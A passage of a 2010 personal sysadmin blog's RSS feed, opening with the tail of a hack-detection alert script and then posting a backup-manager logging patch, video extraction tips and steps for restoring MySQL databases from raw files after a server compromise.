- run 'ps aux' and kill all processes launched by www-data user
- check apache logs /var/log/apache2/access.log at hack-date to see faulty script" | mail -s "[Alert] Server hacked!"
fi
done</pre>
</blockquote>
<h4>sources</h4>
<ul>
<li>apache logs: /etc/apache2/access.log</li>
<li><a href="http://www.directadmin.com/forum/showthread.php?t=12664">http://www.directadmin.com/forum/showthread.php?t=12664</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.qc4blog.com/?feed=rss2&amp;p=988</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>backup-manager no longer verbose</title>
		<link>http://www.qc4blog.com/?p=985</link>
		<comments>http://www.qc4blog.com/?p=985#comments</comments>
		<pubDate>Thu, 17 Jun 2010 19:02:24 +0000</pubDate>
		<dc:creator>remy</dc:creator>
				<category><![CDATA[server management]]></category>

		<guid isPermaLink="false">http://www.qc4blog.com/?p=985</guid>
		<description><![CDATA[With a recent upgrade to version 0.7.9, I found that backup-manager was no longer properly verbose. It looks like being due to a bug in the code, corrected by provided patch file. For more info, see bug report #248: http://bugzilla.backup-manager.org/show_bug.cgi?id=248 To patch backup-manager, proceed as follow: copy, paste &#38; save below patch-content into &#8216;/usr/share/backup-manager/logger.diff&#8217; file [...]]]></description>
			<content:encoded><![CDATA[<p>With a recent upgrade to version 0.7.9, I found that backup-manager was no longer properly verbose. It looks like being due to a bug in the code, corrected by provided patch file.</p>
<p>For more info, see bug report #248: <a href="http://bugzilla.backup-manager.org/show_bug.cgi?id=248">http://bugzilla.backup-manager.org/show_bug.cgi?id=248</a></p>
<p>To patch backup-manager, proceed as follow:</p>
<ul>
<li>copy, paste &amp; save below patch-content into &#8216;/usr/share/backup-manager/logger.diff&#8217; file</li>
<li>patch logger.sh file by running:
<pre>patch /usr/share/backup-manager/logger.sh /usr/share/backup-manager/logger.diff</pre>
</li>
</ul>
<p>That&#8217;s it!</p>
<p>Verbose option should work properly by now.</p>
<h4>sources</h4>
<ul>
<li><a href="http://bugzilla.backup-manager.org/show_bug.cgi?id=248">http://bugzilla.backup-manager.org/show_bug.cgi?id=248</a></li>
</ul>
<h4>Patch (.diff file content)</h4>
<blockquote><pre>55a56,58
&gt; 		#when true, send stuff to syslog, otherwise simply print it if necessary
&gt; 		bm_via_syslog="false"
&gt;
60c63
&lt;
---
&gt;
64a68,70
&gt;             if [[ "$BM_LOGGER_LEVEL" == "debug" ]]; then
&gt;             	bm_via_syslog="true"
&gt;             fi
67a74,77
&gt;             if [[ "$BM_LOGGER_LEVEL" == "debug" ]]\
&gt;                || [[ "$BM_LOGGER_LEVEL" == "info" ]]; then
&gt;             	bm_via_syslog="true"
&gt;             fi
70a81,90
&gt;             if [[ "$BM_LOGGER_LEVEL" == "debug" ]]\
&gt;                || [[ "$BM_LOGGER_LEVEL" == "info" ]]\
&gt;                || [[ "$BM_LOGGER_LEVEL" == "warning" ]]; then
&gt;             	bm_via_syslog="true"
&gt;             fi
&gt;         ;;
&gt;         "error")
&gt;         		# Errors are always sent to syslog &amp; printed
&gt;             bm_log_switch="true"
&gt;             bm_via_syslog="true"
100c120,122
&lt;         syslog $bm_log_level "${log_buffer}${message}"
---
&gt;         if [[ "$bm_via_syslog" == "true" ]]; then
&gt; 	        syslog $bm_log_level "${log_buffer}${message}"
&gt; 	      fi
115,118c137,138
&lt;     if [[ "$BM_LOGGER_LEVEL" == "debug" ]]; then
&lt;         bm_log_level="debug"
&lt;         log "DEBUG: $@"
&lt;     fi
---
&gt;     bm_log_level="debug"
&gt;     log "DEBUG: $@"
123,127c143,144
&lt;     if [[ "$BM_LOGGER_LEVEL" == "debug" ]]\
&lt;     || [[ "$BM_LOGGER_LEVEL" == "info" ]]; then
&lt;         bm_log_level="info"
&lt;         log "$@"
&lt;     fi
---
&gt;     bm_log_level="info"
&gt;     log "$@"
132,137c149,150
&lt;     if [[ "$BM_LOGGER_LEVEL" == "debug" ]]\
&lt;     || [[ "$BM_LOGGER_LEVEL" == "info" ]]\
&lt;     || [[ "$BM_LOGGER_LEVEL" == "warning" ]]; then
&lt;         bm_log_level="warning"
&lt;         log "$@"
&lt;     fi
---
&gt;    bm_log_level="warning"
&gt;    log "$@"</pre>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.qc4blog.com/?feed=rss2&amp;p=985</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>extract part of a video file</title>
		<link>http://www.qc4blog.com/?p=983</link>
		<comments>http://www.qc4blog.com/?p=983#comments</comments>
		<pubDate>Thu, 17 Jun 2010 13:16:19 +0000</pubDate>
		<dc:creator>remy</dc:creator>
				<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.qc4blog.com/?p=983</guid>
		<description><![CDATA[To extract part of a video file =&#62; you can use avidemux (apt-get install avidemux), usage is pretty straight forward To convert a dvd into divx =&#62; you can use dvd:rip (apt-get install dvdrip), usage is pretty straightforward (first, load TOC, then rip selected track, last encode it) Convert a video into mp3 (ie. extract [...]]]></description>
			<content:encoded><![CDATA[<ol>
<li>To extract part of a video file<br />
=&gt; you can use avidemux (apt-get install avidemux), usage is pretty straight forward</li>
<li>To convert a dvd into divx<br />
=&gt; you can use dvd:rip (apt-get install dvdrip), usage is pretty straightforward (first, load TOC, then rip selected track, last encode it)</li>
<li>Convert a video into mp3 (ie. extract soundtrack)<br />
=&gt; use either avidemux (select &#8216;mp3&#8242; as audio output on left menu, the on top menu fo to /audio/save after having loaded the video) or ffmpeg (see similar post on this blog)</li>
</ol>
<p>sources</p>
<ul>
<li><a href="http://ubuntuforums.org/showthread.php?t=480343">http://ubuntuforums.org/showthread.php?t=480343</a></li>
<li><a href="http://www.videohelp.com/tools/AviDemux">http://www.videohelp.com/tools/AviDemux</a></li>
<li><a href="http://forum.videohelp.com/threads/221948-VirtualDub-for-Linux">http://forum.videohelp.com/threads/221948-VirtualDub-for-Linux</a></li>
<li></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.qc4blog.com/?feed=rss2&amp;p=983</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to restore mysql databases using raw files?</title>
		<link>http://www.qc4blog.com/?p=981</link>
		<comments>http://www.qc4blog.com/?p=981#comments</comments>
		<pubDate>Thu, 17 Jun 2010 13:08:03 +0000</pubDate>
		<dc:creator>remy</dc:creator>
				<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.qc4blog.com/?p=981</guid>
		<description><![CDATA[My server was recently hacked (damn it!), I tried to restore mysql dbs using my regular backup procedure to find out that mysql-dump backup was not working properly =&#62; unique solution remaining, restore mysql db from raw files (located into /var/lib/mysql). Copying &#38; pasting /var/lib/mysql folder did not make it, neither a copy &#38; paste [...]]]></description>
			<content:encoded><![CDATA[<p>My server was recently hacked (damn it!), I tried to restore mysql dbs using my regular backup procedure to find out that mysql-dump backup was not working properly =&gt; unique solution remaining, restore mysql db from raw files (located into /var/lib/mysql).</p>
<p>Copying &amp; pasting /var/lib/mysql folder did not make it, neither a copy &amp; paste of only my own db folders. What I had to do was the following:</p>
<ol>
<li>reinstall mysql as usual (apt-get install mysql) and changing root password (along with password for all user-apps as well) &lt;= the server was hacked!<br />
<em>note: update your app code to reflect new db credentials</em></li>
<li>log into mysql and recreate through sql queries all my dbs (create database &lt;db_name&gt;;)</li>
<li>create app-users as well</li>
<li>exit mysql</li>
<li>copy your raw db folders and replace those that mysql has just created</li>
<li>restart mysql daemon (/etc/init.d/mysql restart)</li>
</ol>
<p>That should work.</p>
<h4>sources</h4>
<ul>
<li><a href="http://www.scotthodson.com/blog/index.php/restoring-mysql-databases-without-a-mysqldump-backup/">http://www.scotthodson.com/blog/index.php/restoring-mysql-databases-without-a-mysqldump-backup/</a></li>
<li><a href="http://dev.mysql.com/doc/mysql-backup-excerpt/5.0/en/replication-solutions-backups.html">http://dev.mysql.com/doc/mysql-backup-excerpt/5.0/en/replication-solutions-backups.html</a></li>
<li><a href="http://icrontic.com/forum/showthread.php?t=85354">http://icrontic.com/forum/showthread.php?t=85354</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.qc4blog.com/?feed=rss2&amp;p=981</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
